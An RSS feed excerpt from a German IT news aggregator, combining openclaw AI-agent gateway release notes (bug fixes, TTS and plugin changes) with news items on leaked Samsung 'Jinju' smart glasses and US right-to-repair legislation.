<li>Providers/PDF/Ollama: add bounded network timeouts for Ollama model pulls and native Anthropic/Gemini PDF analysis requests so unresponsive provider endpoints no longer hang sessions indefinitely. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131775554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54142" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54142/hovercard" href="https://github.com/openclaw/openclaw/issues/54142">#54142</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131780831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54144" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54144/hovercard" href="https://github.com/openclaw/openclaw/pull/54144">#54144</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131781144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54145" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54145/hovercard" href="https://github.com/openclaw/openclaw/pull/54145">#54145</a>. Thanks @jinduwang1001-max and @arkyu2077.</li>
<li>Docker/QA: add observability coverage to the normal Docker aggregate so QA-lab OTEL and Prometheus diagnostics run inside Docker. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Auto-reply: poison inbound message dedupe after replay-unsafe provider/runtime failures so retries stay safe before visible progress but cannot duplicate messages after block output, tool side effects, or session progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295112826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69303/hovercard" href="https://github.com/openclaw/openclaw/issues/69303">#69303</a>; keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181977803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58549" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58549/hovercard" href="https://github.com/openclaw/openclaw/issues/58549">#58549</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242766269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64606/hovercard" href="https://github.com/openclaw/openclaw/issues/64606">#64606</a> as duplicate validation. Thanks @martingarramon, @NikolaFC, and @zeroth-blip.</li>
<li>Agents/model fallback: keep auto-persisted fallback model overrides selected across turns until <code>/new</code> or reset clears them, avoiding repeated probes of a known-bad primary while <code>/status</code> shows the selected and active models. Thanks @kibedu.</li>
<li>Agents/model fallback: jump directly to a known later live-session model redirect instead of walking unrelated fallback candidates, while preserving the already-landed live-session/fallback loop guard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4167179452" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57471" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57471/hovercard" href="https://github.com/openclaw/openclaw/issues/57471">#57471</a>; related loop family already closed via <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181008782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58496/hovercard" href="https://github.com/openclaw/openclaw/issues/58496">#58496</a>. Thanks @yuxiaoyang2007-prog.</li>
<li>Gateway/Bonjour: keep @homebridge/ciao cancellation handlers registered across advertiser restarts so late probing cancellations cannot crash Linux and other mDNS-churned gateways.</li>
<li>Plugins/startup: load the default <code>memory-core</code> slot during Gateway startup when permitted so active-memory recall can call <code>memory_search</code> and <code>memory_get</code> without requiring an explicit <code>plugins.slots.memory</code> entry, while preserving <code>plugins.slots.memory: "none"</code>.</li>
<li>Plugins/CLI: prefer native require for compiled bundled plugin JavaScript before jiti so read-only config, status, device, and node commands avoid unnecessary transform overhead on slow hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221630999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62842/hovercard" href="https://github.com/openclaw/openclaw/issues/62842">#62842</a>. Thanks @Effet.</li>
<li>Plugins/compat/CLI: inventory doctor-side deprecation migrations separately from runtime plugin compatibility, add dated records for legacy extension-api, memory registration, provider hook/type aliases, runtime aliases, channel SDK helpers, and approval/test utility shims, refresh the persisted registry after managed plugin removals, make plugin install/uninstall writes conflict-aware, clear stale denylists, and fail tracked plugin/hook updates or unloadable package installs instead of leaving stale state. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>WebChat/Control UI: support non-video file attachments in chat uploads while preserving the existing image attachment path and MIME-sniff fallback for generic image uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320611972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70947/hovercard" href="https://github.com/openclaw/openclaw/pull/70947">#70947</a>) Thanks @IAMSamuelRodda.</li>
<li>Skills/memory: restore Chokidar v5 hot reloads by watching concrete skill and memory roots with filters, including SKILL.md removals and deleted skill folders without broad workspace recursion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994509566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/27404/hovercard" href="https://github.com/openclaw/openclaw/issues/27404">#27404</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4019092319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33585" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33585/hovercard" href="https://github.com/openclaw/openclaw/issues/33585">#33585</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048900568" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41606/hovercard" href="https://github.com/openclaw/openclaw/issues/41606">#41606</a>. Thanks @shelvenzhou, @08820048, and @rocke2020.</li>
<li>Gateway/chat: keep duplicate attachment-backed <code>chat.send</code> retries with the same idempotency key on the documented in-flight path so aborts still target the real active run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308621432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70139/hovercard" href="https://github.com/openclaw/openclaw/issues/70139">#70139</a>. Thanks @Feelw00.</li>
<li>Gateway/session rows: report the same config-resolved thinking default that runtime sessions use, including global and per-agent defaults, so Control UI and TUI default labels stay aligned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329269914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71779" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71779/hovercard" href="https://github.com/openclaw/openclaw/pull/71779">#71779</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321156135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70981" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70981/hovercard" href="https://github.com/openclaw/openclaw/pull/70981">#70981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321797296" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71033/hovercard" href="https://github.com/openclaw/openclaw/pull/71033">#71033</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311083134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70302/hovercard" href="https://github.com/openclaw/openclaw/pull/70302">#70302</a>) Thanks @chen-zhang-cs-code, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>, and @cholaolu-boop.</li>
<li>Plugins: share package entrypoint resolution between install and discovery, reject mismatched <code>runtimeExtensions</code>, and cache bundled runtime-dependency manifest reads during scans.</li>
<li>WhatsApp/Web: keep quiet but healthy linked-device sessions connected by basing the watchdog on WhatsApp Web transport activity, while retaining a longer app-silence cap so frame activity cannot mask a stuck session forever. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317373252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70678" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70678/hovercard" href="https://github.com/openclaw/openclaw/issues/70678">#70678</a>; carries forward the focused <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327494555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71466/hovercard" href="https://github.com/openclaw/openclaw/pull/71466">#71466</a> approach and keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235211931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63939/hovercard" href="https://github.com/openclaw/openclaw/pull/63939">#63939</a> as related configurable-timeout follow-up. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>.</li>
<li>Discord/gateway: count failed health-monitor restart attempts toward cooldown and hourly caps, and evict stale account lifecycle state during channel reloads so repeated Discord gateway recovery cannot loop on old status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037442367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38596" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38596/hovercard" href="https://github.com/openclaw/openclaw/issues/38596">#38596</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042713721" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40413" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40413/hovercard" href="https://github.com/openclaw/openclaw/pull/40413">#40413</a>) Thanks @jellyAI-dev and @vashquez.</li>
<li>Cron/context engine: run isolated cron jobs under run-scoped context-engine session keys so prior runs of the same job are not inherited unless the job is explicitly session-bound. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331505048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72292" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72292/hovercard" href="https://github.com/openclaw/openclaw/pull/72292">#72292</a>) Thanks @jalehman.</li>
<li>Control UI: localize command palette labels, categories, skill shortcuts, footer hints, and connect-command copy labels while preserving localized command palette search matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206202649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61130/hovercard" href="https://github.com/openclaw/openclaw/pull/61130">#61130</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206163055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61119" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61119/hovercard" href="https://github.com/openclaw/openclaw/pull/61119">#61119</a>) Thanks @rubensfox20.</li>
<li>Plugins/memory-lancedb: request float embedding responses from OpenAI-compatible servers so local providers that default SDK requests to base64 no longer return dimension-mismatched LanceDB vectors while preserving configured dimensions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075425486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45982/hovercard" href="https://github.com/openclaw/openclaw/issues/45982">#45982</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187115245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59048/hovercard" href="https://github.com/openclaw/openclaw/pull/59048">#59048</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075652492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46069/hovercard" href="https://github.com/openclaw/openclaw/pull/46069">#46069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075431997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45986/hovercard" href="https://github.com/openclaw/openclaw/pull/45986">#45986</a>) Thanks @deep-introspection, @xiaokhkh, @caicongyang, and @thiswind.</li>
<li>Plugins/memory-lancedb: advance auto-capture cursors per session only after messages are processed or intentionally skipped, retry failed messages, survive compacted histories, and clear cursor state on session end. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326654147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71349" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71349/hovercard" href="https://github.com/openclaw/openclaw/issues/71349">#71349</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051142895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42083/hovercard" href="https://github.com/openclaw/openclaw/pull/42083">#42083</a>. Thanks @as775116191.</li>
<li>Plugins/memory-core: respect configured memory-search embedding concurrency during non-batch indexing so local Ollama embedding backends can serialize indexing instead of flooding the server. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264947077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66822" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66822/hovercard" href="https://github.com/openclaw/openclaw/issues/66822">#66822</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265769455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66931/hovercard" href="https://github.com/openclaw/openclaw/pull/66931">#66931</a>) Thanks @oliviareid-svg and @LyraInTheFlesh.</li>
<li>Docker/update smoke: keep the package-derived update-channel fixture on package-shipped files and make its UI build stub create the asset the updater verifies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/models: repair legacy <code>models.providers.*.api = "openai"</code> config values to <code>openai-completions</code>, and skip providers with future stale API enum values during startup instead of bricking the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332548488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72477/hovercard" href="https://github.com/openclaw/openclaw/issues/72477">#72477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332844009" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72542/hovercard" href="https://github.com/openclaw/openclaw/pull/72542">#72542</a>) Thanks @JooyoungChoi14 and @obviyus.</li>
<li>Gateway/skills: redact <code>apiKey</code> and secret-named <code>env</code> values from the <code>skills.update</code> RPC response to prevent leaking credentials into WebSocket traffic, client logs, or session transcripts. Config is still written to disk in full; only the response payload is redacted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306962807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69998/hovercard" href="https://github.com/openclaw/openclaw/pull/69998">#69998</a>) Thanks @Ziy1-Tan.</li>
<li>Plugins/CLI: let flag-driven <code>openclaw channels add</code> install the selected channel plugin from its default source without opening an interactive prompt, fixing published npm Telegram setup in stdin-closed automation.</li>
<li>Onboarding/setup: keep first-run config reads, plugin compatibility notices, OpenAI Codex auth, post-auth default-model policy lookup, skip-auth, provider-scoped model pickers, and post-model sanity checks on cold manifest/setup metadata unless the user chooses to browse all models, avoiding full plugin/provider runtime loads between prompts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway/Bonjour: suppress known @homebridge/ciao cancellation and network assertion failures through scoped process handlers so malformed mDNS packets or restricted VPS networking disable/restart Bonjour instead of crashing the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274075946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67578" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67578/hovercard" href="https://github.com/openclaw/openclaw/issues/67578">#67578</a>. Thanks @zenassist26-create.</li>
<li>Discord: keep late clicks on already-resolved exec approval buttons quiet when elevated mode auto-resolved the request, while still surfacing real approval submission failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265667453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66906" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66906/hovercard" href="https://github.com/openclaw/openclaw/issues/66906">#66906</a>. Thanks @rlerikse.</li>
<li>Telegram: send a fresh final message for long-lived preview-streamed replies so the visible Telegram timestamp reflects completion time instead of the preview creation time. Thanks @rubencu.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Images of Samsung's rumored smart glasses have leaked]]></title>
<description><![CDATA[Images and details about Samsung's upcoming smart glasses have leaked, according to a report by Android Headlines. We knew these were coming at some point, but we now have what could be actual photos and they look pretty nifty. The glasses are reportedly being developed under the codename "Jinju"...]]></description>
<link>https://tsecurity.de/de/3469148/it-nachrichten/images-of-samsungs-rumored-smart-glasses-have-leaked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3469148/it-nachrichten/images-of-samsungs-rumored-smart-glasses-have-leaked/</guid>
<pubDate>Mon, 27 Apr 2026 20:46:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Images and details about Samsung's upcoming smart glasses have leaked, <a data-i13n="cpos:1;pos:1" href="https://www.androidheadlines.com/samsung-galaxy-glasses"><ins>according to a report by </ins><em><ins>Android Headlines</ins></em></a>. We knew these were <a data-i13n="cpos:2;pos:1" href="https://www.engadget.com/ar-vr/samsung-is-working-on-xr-smart-glasses-with-warby-parker-and-gentle-monster-042632170.html"><ins>coming at some point</ins></a>, but we now have what could be actual photos and they look pretty nifty. The glasses are reportedly being developed under the codename "Jinju" and could cost anywhere from $380 to $500.</p>
<p>These are the first smart glasses from Samsung and look to offer a similar feature set to stuff like <a data-i13n="cpos:3;pos:1" href="https://www.engadget.com/wearables/ray-ban-meta-2nd-gen-review-smart-glasses-are-finally-getting-useful-124720393.html"><ins>Meta Ray-Bans</ins></a> and the forthcoming <a data-i13n="cpos:4;pos:1" href="https://www.engadget.com/wearables/heres-how-google-is-laying-the-foundation-for-our-mixed-reality-future-180000716.html"><ins>Google Gemini glasses</ins></a>. Samsung's specs will run on the <a data-i13n="cpos:5;pos:1" href="https://blog.google/products-and-platforms/platforms/android/android-xr-immersive-features-update-april-2026/"><ins>Android XR wearables platform</ins></a> and will likely feature heavy integration with the Google Gemini chatbot.</p>
<span></span><div></div>
<p>It has been reported that these glasses will not feature a display, but that's likely coming with another pair in 2027. The second release is being developed under the codename "Haean" and will reportedly include a micro-LED display, allowing for similar functionality to something like the <a data-i13n="cpos:6;pos:1" href="https://www.engadget.com/wearables/meta-ray-ban-display-review-chunky-frames-with-impressive-abilities-193127070.html"><ins>Meta Ray-Ban Display glasses</ins></a>. These could cost anywhere from $600 to $900.</p>
<p>We don't know when the Jinju glasses will launch, but later this year is a safe bet. Samsung has a major <a data-i13n="cpos:7;pos:1" href="https://www.androidauthority.com/samsung-galaxy-z-fold-8-wide-unpacked-date-3656057/"><ins>Unpacked event scheduled for July</ins></a>. We could get some official details at that point, though it's unlikely the smart glasses will launch alongside stuff like the Galaxy Z Fold 8 and the Galaxy Watch 9.</p>
<p>It's far more likely we'll get a tease at that event, with a launch later in the year. This is what Samsung did with its <a data-i13n="cpos:8;pos:1" href="https://www.engadget.com/ar-vr/samsungs-galaxy-xr-doesnt-give-me-much-hope-for-android-xr-110000129.html"><ins>Galaxy XR virtual reality headset</ins></a> last year.</p>
<div></div>
<p>It's also been reported that the Jinju glasses will include a 12MP camera, a Snapdragon AR1 chip and directional speakers with bone-conduction tech. These specs are, of course, subject to change before launch. It's also highly possible the price will tick up beyond the aforementioned range, thanks to <a data-i13n="elm:affiliate_link;sellerN:The New York Times;elmt:;cpos:9;pos:1" href="https://shopping.yahoo.com/rdlw?merchantId=c813ae39-7d58-41cb-ac66-ad830606ceef&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=03ee2791-833d-434f-b2fa-3584d399d72d&amp;featureId=text-link&amp;merchantName=The+New+York+Times&amp;linkText=global+economic+uncertainty&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI2LzA0LzI3L2J1c2luZXNzL2Vjb25vbXkvaXJhbi13YXItZ2xvYmFsLWdyb3d0aC5odG1sIiwiY29udGVudFV1aWQiOiIwM2VlMjc5MS04MzNkLTQzNGYtYjJmYS0zNTg0ZDM5OWQ3MmQiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3Lm55dGltZXMuY29tLzIwMjYvMDQvMjcvYnVzaW5lc3MvZWNvbm9teS9pcmFuLXdhci1nbG9iYWwtZ3Jvd3RoLmh0bWwifQ&amp;signature=AQAAAbf3tVmjRIakL__CcBo3Qrq_wMduI6iprVRunm1Jroqc&amp;gcReferrer=https%3A%2F%2Fwww.nytimes.com%2F2026%2F04%2F27%2Fbusiness%2Feconomy%2Firan-war-global-growth.html" class="rapid-with-clickid" data-original-link="https://www.nytimes.com/2026/04/27/business/economy/iran-war-global-growth.html"><ins>global economic uncertainty</ins></a> and the <a data-i13n="cpos:10;pos:1" href="https://www.engadget.com/ai/microsoft-raises-prices-on-surface-pcs-due-to-skyrocketing-ram-costs-181648588.html"><ins>rising costs of RAM and storage</ins></a>.</p>This article originally appeared on Engadget at https://www.engadget.com/ar-vr/images-of-samsungs-rumored-smart-glasses-have-leaked-184129483.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Right-to-Repair Laws Gain Political Momentum Across America]]></title>
<description><![CDATA["California, Colorado, Minnesota, New York, Connecticut, Oregon and Washington have all passed comprehensive right-to-repair regulations," reports CNBC, "covering everything from consumer electronics and farm equipment to wheelchairs and automobiles." 


And the consumer movement "continues to ga...]]></description>
<link>https://tsecurity.de/de/3466743/it-security-nachrichten/right-to-repair-laws-gain-political-momentum-across-america/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3466743/it-security-nachrichten/right-to-repair-laws-gain-political-momentum-across-america/</guid>
<pubDate>Mon, 27 Apr 2026 05:49:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["California, Colorado, Minnesota, New York, Connecticut, Oregon and Washington have all passed comprehensive right-to-repair regulations," reports CNBC, "covering everything from consumer electronics and farm equipment to wheelchairs and automobiles." 


And the consumer movement "continues to gain political momentum" across America...

As of this year, advocates are tracking 57 right-to-repair bills across 22 states. In Maine, the state senate just advanced a bill that would bring the right to repair to electronics in the state. Texas's new right-to-repair law kicks in on Sept. 1 and covers phones, laptops, and tablets, but excludes medical and farm equipment, and game consoles.... [U.S.] Senator Ben Ray Luján (D-NM) and Josh Hawley (R-Mo.) are unlikely political bedfellows but have joined together to sponsor the REPAIR Act... The REPAIR Act would require automakers to give vehicle owners, independent repair shops, and aftermarket manufacturers secure access to vehicle repair and maintenance data, preventing manufacturers from funneling consumers into their own exclusive and more expensive dealership repair networks... Hawley criticized big corporations in his arguments in favor of right-to-repair legislation. 
"Big corporations have a history of gatekeeping basic information that belongs to car owners, effectively forcing consumers to pay a fixed price whenever their car is in the shop," Hawley told CNBC. "The bipartisan REPAIR Act would end corporations' control over diagnostics and service information and give consumers the right to repair their own equipment at a price most feasible for them." The largest small business lobby in the U.S., the NFIB, says 89% of its members support right-to-repair legislation, making it a top legislative priority for 2026.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Right-to-Repair+Laws+Gain+Political+Momentum+Across+America%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F04%2F27%2F0210243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F04%2F27%2F0210243%2Fright-to-repair-laws-gain-political-momentum-across-america%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/04/27/0210243/right-to-repair-laws-gain-political-momentum-across-america?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.4.25-beta.4]]></title>
<description><![CDATA[2026.4.25
Highlights

Voice replies get a full TTS upgrade: /tts latest, chat-scoped auto-TTS controls, personas, per-agent/per-account overrides, and new Azure Speech, Xiaomi, Local CLI, Inworld, Volcengine, and ElevenLabs v3 provider coverage. Thanks @leonchui, @zoujiejun, @solar2ain, @cshape, ...]]></description>
<link>https://tsecurity.de/de/3465811/downloads/openclaw-2026425-beta4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3465811/downloads/openclaw-2026425-beta4/</guid>
<pubDate>Sun, 26 Apr 2026 15:31:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.25</h2>
<h3>Highlights</h3>
<ul>
<li>Voice replies get a full TTS upgrade: <code>/tts latest</code>, chat-scoped auto-TTS controls, personas, per-agent/per-account overrides, and new Azure Speech, Xiaomi, Local CLI, Inworld, Volcengine, and ElevenLabs v3 provider coverage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leonchui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leonchui">@leonchui</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zoujiejun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zoujiejun">@zoujiejun</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solar2ain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solar2ain">@solar2ain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cshape/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cshape">@cshape</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuruiray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuruiray">@xuruiray</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barronlroth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barronlroth">@barronlroth</a>.</li>
<li>Plugin startup and install paths move to the cold persisted registry, cutting broad manifest scans while making plugin update, repair, provider discovery, and install metadata more deterministic. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
